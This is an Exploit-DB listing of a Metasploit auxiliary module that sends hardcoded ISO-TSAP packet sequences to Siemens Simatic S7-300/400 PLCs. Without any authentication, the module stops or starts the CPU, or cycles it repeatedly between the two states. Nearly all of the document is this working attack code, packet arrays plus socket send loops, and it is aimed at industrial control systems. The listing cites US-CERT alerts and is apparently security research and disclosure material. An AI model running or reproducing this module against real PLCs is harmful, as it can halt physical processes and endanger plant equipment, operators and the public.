Siemens Simatic S7-300/400 - CPU START/STOP Module (Metasploit)

EDB-ID:

19831

CVE:



Platform:

Hardware

Published:

2012-07-14

# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
	
	include Msf::Exploit::Remote::Tcp
	include Rex::Socket::Tcp
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
		  'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
		  'Description'   => %q{
				The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
				this modules allows an attacker to perform administrative commands without authentication.
				This module allows a remote user to change the state of the PLC between
				STOP and START, allowing an attacker to end process control by the PLC.
			},
		  'Author'			=> 'Dillon Beresford',
		  'License'     			=> MSF_LICENSE,
		  'References'     =>
				[
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
				],
			'Version'        => '$Revision$',
		  'DisclosureDate' => 'May 09 2011'
		  ))
		  
		  register_options(
			  [
				  Opt::RPORT(102),
				  OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
				  OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
		    ], self.class)
		end
    
    def run_host(ip)
		begin
		
		cpu = datastore['MODE'] || ''
		cycles = datastore['CYCLES'] || ''
				
		stop_cpu_pkt = 
		  [
		    	       "\x03\x00\x00\x16\x11\xe0\x00\x00"+ 
		               "\x00\x01\x00\xc1\x02\x01\x00\xc2"+ 
			       "\x02\x01\x02\xc0\x01\x09",

				"\x03\x00\x00\x19\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\xff\xff\x00\x08\x00"+ 
				"\x00\xf0\x00\x00\x01\x00\x01\x03"+ 
				"\xc0",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x00\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x40\x00\x01\x84\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x21\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x02\x00\x10\x00"+ 
				"\x00\x29\x00\x00\x00\x00\x00\x09"+ 
				"\x50\x5f\x50\x52\x4f\x47\x52\x41"+ 
				"\x4d",
				
				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",
				
				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",
				
				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",
				
			  	"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",
				
				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",
				
				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",
				
				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",
				
				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00"
		  ]
		
		start_cpu_pkt = 
		  [
		   	        "\x03\x00\x00\x16\x11\xe0\x00\x00"+ 
				"\x00\x01\x00\xc1\x02\x01\x00\xc2"+ 
				"\x02\x01\x02\xc0\x01\x09",

				"\x03\x00\x00\x19\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\xff\xff\x00\x08\x00"+ 
				"\x00\xf0\x00\x00\x01\x00\x01\x03"+ 
				"\xc0",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x00\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x40\x00\x01\x84\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+ 
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+ 
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+ 
				"\x10\x00\x00\x83\x00\x00\x00",


				"\x03\x00\x00\x25\x02\xf0\x80\x32"+  
				"\x01\x00\x00\x00\x02\x00\x14\x00"+ 
				"\x00\x28\x00\x00\x00\x00\x00\x00"+ 
				"\xfd\x00\x00\x09\x50\x5f\x50\x52"+
				"\x4f\x47\x52\x41\x4d"
				
				]
		# CPU STOP		
		if(cpu == 1)
		connect()
		stop_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
	  # CPU START
	  if(cpu == 2)
		connect()
		start_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
	# STOP / START CPU 
	for n in 0..cycles
	  if(cpu == 3)
		connect()
		# We assume PLC is up and running (issue a stop command)
		stop_cpu_pkt.each do |i|  
		  sock.put("#{i}")
		  sleep(0.005)
		end
		
		connect()
		# We assume PLC is has been stopped (issue a start command)
	  start_cpu_pkt.each do |i|
	    sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
  end
  
	data = sock.get_once()  
		print_good("#{ip} PLC is running, iso-tsap port is open.")
	if(cpu == 'true')
		print_status("Putting the PLC into START mode.")
			elsif(cpu == 'false')
				print_status("Putting the PLC into STOP mode.")
			end
			disconnect()
			rescue ::EOFError
		end
	end
end